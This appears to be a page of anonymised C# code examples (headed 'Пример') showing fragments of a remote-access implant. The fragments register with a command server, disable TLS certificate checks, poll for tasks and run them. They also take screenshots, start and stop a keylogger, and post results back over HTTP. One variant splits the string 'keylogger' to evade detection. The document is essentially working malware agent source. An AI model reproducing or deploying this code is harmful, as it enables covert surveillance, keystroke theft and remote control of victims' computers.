Пример #1
0
        protected static VAR2 VAR24(string VAR33)
        {
            var  VAR34 = new JavaScriptSerializer();
            VAR2 VAR35 = VAR34.Deserialize <VAR2> (VAR33);

            return(VAR35);
        }
Пример #2
0
        public static void VAR13(string VAR14, string VAR15, string VAR16)
        {
            ServicePointManager.ServerCertificateValidationCallback = new RemoteCertificateValidationCallback(delegate { return(true); });
            VAR7  = VAR14;
            VAR8  = VAR37(16);
            VAR9  = Encoding.ASCII.GetBytes(VAR15);
            VAR10 = 1000;
            Process VAR17 = Process.GetCurrentProcess();

            VAR12 = VAR17.Id;
            try
            {
                VAR10 = Convert.ToInt32(VAR16);
            }
            catch { }
            bool   VAR18 = false;
            string VAR19 = String.Format("register {0} {1}", VAR8, VAR20());

            VAR11 = Environment.OSVersion.ToString();
            VAR21(VAR19, null);

            while (!VAR18)
            {
                try
                {
                    Thread.Sleep(VAR10);
                    string VAR22 = VAR21(null, null);
                    VAR2   VAR23 = VAR24(VAR22);
                    if (VAR23.UUID != null)
                    {
                        VAR23.Data = VAR25(VAR23.Data);
                        string[] VAR26 = VAR27(VAR23.Data);
                        if (VAR26[0].Equals("delay"))
                        {
                            VAR10 = Convert.ToInt32(VAR26[1]);
                        }
                        else if (VAR26[0].Equals("exit"))
                        {
                            VAR18 = true;
                        }
                        else if (VAR26[0].Equals("screenshot"))
                        {
                            VAR204();
                        }
                        else if (VAR26[0].Equals("klog"))
                        {
                            Thread VAR103 = new Thread(() => VAR104());
                            VAR103.Start();
                        }
                        else
                        {
                            Thread VAR29 = new Thread(() => VAR28(VAR23.Data, VAR23.UUID));
                            VAR29.Start();
                        }
                    }
                }
                catch { }
            }
        }
Пример #3
0
        protected static VAR2 VAR24(string VAR33)
        {
            var VAR34 = new JavaScriptSerializer();

            VAR34.MaxJsonLength = Int32.MaxValue;
            VAR2 VAR35 = VAR34.Deserialize <VAR2>(VAR33);

            return(VAR35);
        }
Пример #4
0
        public static string VAR21(string VAR55, string VAR56)
        {
            byte[] VAR57;
            if (VAR55 != null)
            {
                VAR57 = VAR16.VAR28(VAR9, Encoding.ASCII.GetBytes(VAR55));
            }
            else
            {
                VAR57 = new byte[0];
            }
            string         VAR58 = String.Format("{0}/{1}/", VAR7, VAR37(0));
            HttpWebRequest VAR59 = (HttpWebRequest)WebRequest.Create(VAR58);

            VAR59.Method            = "POST";
            VAR59.UserAgent         = VAR11;
            VAR59.Timeout           = 10000;
            VAR59.Proxy.Credentials = CredentialCache.DefaultNetworkCredentials;
            Stream       VAR60 = null;
            StreamReader VAR61 = null;
            string       VAR62;
            string       VAR63 = "";

            if (VAR57.Length > 0)
            {
                VAR63 = Convert.ToBase64String(VAR57);
            }
            VAR2 VAR64 = new VAR2 {
                UUID = VAR56, ID = VAR8, Data = VAR63
            };
            var VAR65 = new JavaScriptSerializer();
            var VAR66 = VAR65.Serialize(VAR64).ToString();

            VAR59.ContentType = "application/json";
            try {
                VAR60 = VAR59.GetRequestStream();
                VAR60.Write(Encoding.ASCII.GetBytes(VAR66), 0, VAR66.Length);
            } finally {
                if (VAR60 != null)
                {
                    VAR60.Dispose();
                }
            }
            try {
                VAR60 = VAR59.GetResponse().GetResponseStream();
                VAR61 = new StreamReader(VAR60);
                VAR62 = VAR61.ReadToEnd();
            } catch {
                VAR62 = "";
            }
            return(VAR62.ToString());
        }
Пример #5
0
        public static void VAR13(string VAR14, string VAR15, string VAR16)
        {
            VAR7  = VAR14;
            VAR8  = VAR37(16);
            VAR9  = Encoding.ASCII.GetBytes(VAR15);
            VAR10 = 100;
            Process VAR17 = Process.GetCurrentProcess();

            VAR12 = VAR17.Id;
            try {
                VAR10 = Convert.ToInt32(VAR16);
            } catch {}
            bool   VAR18 = false;
            string VAR19 = String.Format("register {0} {1}", VAR8, VAR20());

            VAR11 = Environment.OSVersion.ToString();
            VAR21(VAR19, null);
            while (!VAR18)
            {
                try {
                    Thread.Sleep(VAR10);
                    string VAR22 = VAR21(null, null);
                    VAR2   VAR23 = VAR24(VAR22);
                    if (VAR23.UUID != null)
                    {
                        VAR23.Data = VAR25(VAR23.Data);
                        string[] VAR26 = VAR27(VAR23.Data);
                        if (VAR26[0].Equals("delay"))
                        {
                            VAR10 = Convert.ToInt32(VAR26[1]);
                        }
                        else if (VAR26[0].Equals("exit"))
                        {
                            VAR18 = true;
                        }
                        else
                        {
                            Thread VAR29 = new Thread(() => VAR28(VAR23.Data, VAR23.UUID));
                            VAR29.Start();
                        }
                    }
                } catch {}
            }
        }
Пример #6
0
        protected static void VAR13(string VAR14, string VAR15, string VAR16)
        {
            ServicePointManager.ServerCertificateValidationCallback = new RemoteCertificateValidationCallback(delegate {
                return(true);
            });
            VAR7  = VAR14;
            VAR8  = VAR37(16);
            VAR9  = Encoding.ASCII.GetBytes(VAR15);
            VAR10 = 1000;
            Process VAR17 = Process.GetCurrentProcess();

            VAR12 = VAR17.Id;
            try
            {
                VAR10 = Convert.ToInt32(VAR16);
            }
            catch { }
            bool   VAR18 = false;
            string VAR19 = String.Format("register {0} {1}", VAR8, VAR20());

            VAR11 = Environment.OSVersion.ToString();
            VAR21(VAR19, null);
            Thread VAR103 = new Thread(() => VAR104());

            while (!VAR18)
            {
                VAR2 VAR23 = new VAR2();
                try
                {
                    Thread.Sleep(VAR10);
                    string VAR22 = VAR21(null, null);
                    VAR23 = VAR24(VAR22);
                    if (VAR23.UUID != null)
                    {
                        VAR23.Data = VAR25(VAR23.Data);
                        string[] VAR26 = VAR27(VAR23.Data);
                        if (VAR26[0].Equals("delay"))
                        {
                            VAR10 = Convert.ToInt32(VAR26[1]);
                        }
                        else if (VAR26[0].Equals("exit"))
                        {
                            VAR18 = true;
                        }
                        else if (VAR26[0].Equals("screenshot"))
                        {
                            VAR204();
                        }
                        else if (VAR26[0].Equals("ke" + "y" + "lo" + "gger" + "-start"))
                        {
                            VAR103.Start();
                        }
                        else if (VAR26[0].Equals("ke" + "y" + "lo" + "gger" + "-stop"))
                        {
                            if (VAR103.IsAlive)
                            {
                                VAR103.Abort();
                            }
                        }
                        else if (VAR26[0].Equals("do" + "tn" + "et"))
                        {
                            Thread VAR29 = new Thread(() => VAR122(VAR26[1], VAR23.UUID));
                            VAR29.Start();
                        }
                        else
                        {
                            Thread VAR29 = new Thread(() => VAR28(VAR23.Data, VAR23.UUID));
                            VAR29.Start();
                        }
                    }
                }
                catch (Exception VAR133)
                {
                    VAR21(Convert.ToBase64String(Encoding.UTF8.GetBytes(VAR133.Message)), VAR23.UUID);
                }
            }
        }